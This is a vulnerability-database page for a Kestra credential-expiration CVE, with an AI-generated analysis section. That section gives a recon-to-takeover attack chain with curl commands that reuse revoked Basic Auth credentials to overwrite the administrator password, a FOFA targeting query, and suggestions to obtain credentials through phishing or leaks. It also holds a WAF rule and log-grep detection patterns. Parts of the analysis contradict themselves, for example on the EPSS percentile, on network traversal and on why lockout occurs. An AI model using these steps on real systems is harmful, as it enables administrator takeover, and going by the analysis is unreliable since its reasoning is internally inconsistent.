CVE Professor
/
All CVEs
CVE-2026-138121

CVE-2026-138121 — Kestra — CWE-613

MEDIUM CVSS 6.6 ⚡ EPSS 0.7% Shodan

Kestra 1.3.24 before 1.3.41 contains an insufficient credential expiration vulnerability that allows holders of a revoked administrator password to keep authenticating on peer webserver nodes through BasicAuthService's process-local verified-token cache. Attackers whose token remains cached on a peer node can call POST /api/v1/{tenant}/basicAuth to overwrite the shared administrator credentials and lock out the legitimate administrator.

Kestra 1.3.24 before 1.3.41 contains an insufficient credential expiration vulnerability that allows holders of a revoked administrator password to keep authenticating on peer webserver nodes through BasicAuthService's process-local verified-token cache. Attackers whose token remains cached on a peer node can call POST /api/v1/{tenant}/basicAuth to overwrite the shared administrator credentials and lock out the legitimate administrator.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity High AC:H
Privileges Req. High PR:H
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
0.7%
30-day probability
In the 47. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Kestra 1.3.24 – 1.3.40 contains an insufficient credential expiration flaw (CWE‑613).
The BasicAuthService creates a process‑local verified‑token cache that stores a JWT‑style token for each authenticated user.
When an administrator’s password is revoked (or changed) the service does not invalidate or purge the cached token.
Consequently, a revoked admin can still authenticate on peer web‑server nodes that have cached the old token.

Once authenticated, the attacker can call the privileged endpoint

POST /api/v1/{tenant}/basicAuth

to overwrite the shared administrator credentials.
Because the endpoint accepts the request without re‑validating the current password hash, the attacker can set a new admin password and lock out the legitimate administrator.

Key missing checks:
1. Token revocation – the cache never checks if the underlying password hash has changed.
2. Credential‑change authorization – the /basicAuth endpoint does not verify that the caller’s current password matches the stored hash before allowing a change.

⚡ Attack Chain

StepActionTechnical DetailExample / PoC
1. Discovery & ReconnaissanceIdentify Kestra instance and vulnerable version*Common* methods:<br>• curl -I http://<target>/ – look for Kestra in Server header.<br>• curl http://<target>/api/v1/version – returns JSON with version field.<br>• Scan for open ports (80/443) and enumerate /api/v1/* endpoints with tools like dirsearch or nikto.``bash<br>curl -s http://10.0.0.5/api/v1/versionjq .version<br>`
2. ExploitationAuthenticate with a *revoked* admin credential that is still cached on a peer node.1. Obtain revoked credentials (e.g., from a leaked database, phishing, or social engineering).<br>2. Use BasicAuth header to send a request to the peer node. The cached token is still considered valid, so the request is accepted.<br>3. Call the privileged endpoint to overwrite admin credentials.`bash<br># Assume revoked admin credentials: admin:oldpass<br># Base64 encode: echo -n 'admin:oldpass'base64 -> YWRtaW46b2xkcGFzcw==<br>curl -X POST \\\n -H "Authorization: Basic YWRtaW46b2xkcGFzcw==" \\\n -H "Content-Type: application/json" \\\n -d '{"username":"admin","password":"newSecurePass123"}' \\\n http://10.0.0.5/api/v1/defaultTenant/basicAuth<br>`<br>Note: The endpoint is *exactly* /api/v1/{tenant}/basicAuth as stated in the CVE. If a different tenant name is used, replace defaultTenant accordingly.
3. Post‑exploitationGain full administrative control and lock out the legitimate admin.• The new password (newSecurePass123) is now stored in Kestra’s credential store.<br>• The legitimate admin can no longer log in because the old password is revoked and the cached token is invalidated.<br>• The attacker can now: <br> • Create or modify workflows.<br> • Export data.<br> • Install malicious plugins.<br> • Use the API to exfiltrate data or pivot to other services.`bash<br># Verify new admin login works<br>curl -X GET \\\n -H "Authorization: Basic $(echo -n 'admin:newSecurePass123'base64)" \\\n http://10.0.0.5/api/v1/defaultTenant/workflows<br>``

🌍 Real World Impact

ImpactCVSS VectorPractical Consequence
ConfidentialityC:HAttacker can read all workflow definitions, secrets, and any data processed by Kestra.
IntegrityI:HAttacker can modify or delete workflows, inject malicious code, or alter data pipelines.
AvailabilityA:HBy locking out the legitimate administrator, the attacker can effectively deny service to legitimate users until the password is reset or the system is patched.

Because the flaw allows any holder of a revoked admin credential to perform privileged actions, the risk is high even though the CVSS score is 6.6 (medium). The attack does not require network traversal or local code execution; it is purely a web‑API abuse.


🛡️ Remediation & Mitigation

Affected Versions

  • Kestra 1.3.24 – 1.3.40 (inclusive)
  • Fix

  • Upgrade to Kestra 1.3.41 or later. The patch revokes cached tokens immediately when an admin password is changed or revoked and adds a strict authorization check on /basicAuth.
  • Workarounds (if upgrade is not immediately possible)

    MitigationHow to ApplyNotes
    Disable BasicAuthServiceRemove or comment out the BasicAuthService bean in the Kestra configuration (e.g., application.yml or application.properties).Requires a restart; no BasicAuth will be available.
    Restrict /basicAuth endpointConfigure the web server (NGINX/Apache) to allow POST /api/v1/*/basicAuth only from trusted IP ranges.Does not prevent an attacker on a trusted IP.
    Enforce token expirationAdd a custom filter that checks the password hash timestamp against the token’s issuance time.Requires code changes; not a quick fix.
    WAF / ModSecurity ruleBlock repeated BasicAuth attempts from the same IP within a short window.Example rule: <br>SecRule REQUEST_HEADERS:Authorization "Basic\s+([A-Za-z0-9+/=]+)" "id:1001,phase:2,block,msg:'Suspicious BasicAuth attempt'"This mitigates brute‑force but not credential reuse.

    Detection

    IndicatorLog PatternHow to Search
    Repeated POST to /basicAuthPOST /api/v1/[^/]+/basicAuthgrep -i 'POST /api/v1/[^/]*\/basicAuth' /var/log/nginx/access.log
    Successful authentication with revoked credentialsAuthentication succeeded for user 'admin' (or similar)grep -i 'Authentication succeeded' /var/log/kestra/app.log
    Credential overwriteAdmin credentials updatedgrep -i 'Admin credentials updated' /var/log/kestra/app.log
    Token cache hitToken cache hit for user 'admin'grep -i 'Token cache hit' /var/log/kestra/app.log

    IoCs

  • Base64‑encoded BasicAuth header containing the revoked password (e.g., YWRtaW46b2xkcGFzcw==).

  • POST requests to /api/v1/*/basicAuth with Content-Type: application/json and a JSON body containing "username":"admin".

  • ⚠️ Urgency

    FactorAssessment
    CVSS Score6.6 (Medium)
    ImpactFull admin takeover + lockout → high business impact
    Exploit ComplexityHigh (requires revoked credentials) but *possible* via credential leaks or social engineering
    CISA KEVNo
    Patch AvailabilityYes (1.3.41)

    Recommendation:
    Treat this as a high‑priority patch.

  • Immediate action: Upgrade to 1.3.41 or later.

  • If upgrade is delayed: Apply the workarounds above and monitor logs for the IoCs listed.

  • Long‑term: Implement a token revocation policy and audit all authentication endpoints for similar logic gaps.


By addressing the flaw promptly, you eliminate the ability for revoked credentials to persist and prevent attackers from hijacking administrative control.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Kestra kestra"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138121
Technical reference / advisory repository for CVE-2026-138121
Technical reference / advisory repository for CVE-2026-138121
Technical reference / advisory repository for CVE-2026-138121
Technical reference / advisory repository for CVE-2026-138121
Technical reference / advisory repository for CVE-2026-138121
CVSS Score
6.6 / 10 · CVSS MEDIUM
Weakness Types (CWE)
CWE-613
Affected Products (1)
Kestra:kestra
Related CVEs
6.3
CVE-2026-145185
Internxt drive-server-wip before commit 6a7801c contains an insufficient session expiration vulnerability in A
6.3
CVE-2026-144822
A security flaw has been discovered in gz-yami mall4j up to 4.0. This vulnerability affects unknown code of th
6.3
CVE-2026-120772
Insufficient session expiration in back-end login in dotCMS 25.03.12 through 26.10.28-03 (remember-me logins s
5.4
CVE-2026-144681
Pydio Cells through 5.1.1 contains an insufficient session expiration vulnerability in the WebDAV BasicAuthent
6.3
CVE-2026-142687
A vulnerability was identified in YunaiV ruoyi-vue-pro up to 2026.10. This vulnerability affects the function
6.3
CVE-2026-144248
RabbitMQ Server 3.13.x before 3.13.20, 4.0.x before 4.0.25, 4.1.x before 4.1.16, 4.2.x before 4.2.11, and 4.3.
5.0
CVE-2026-144238
RabbitMQ rabbitmq-server 4.2.0 before 4.2.13, 4.3.0 before 4.3.8, and 4.4.0 before 4.4.1 contains an insuffici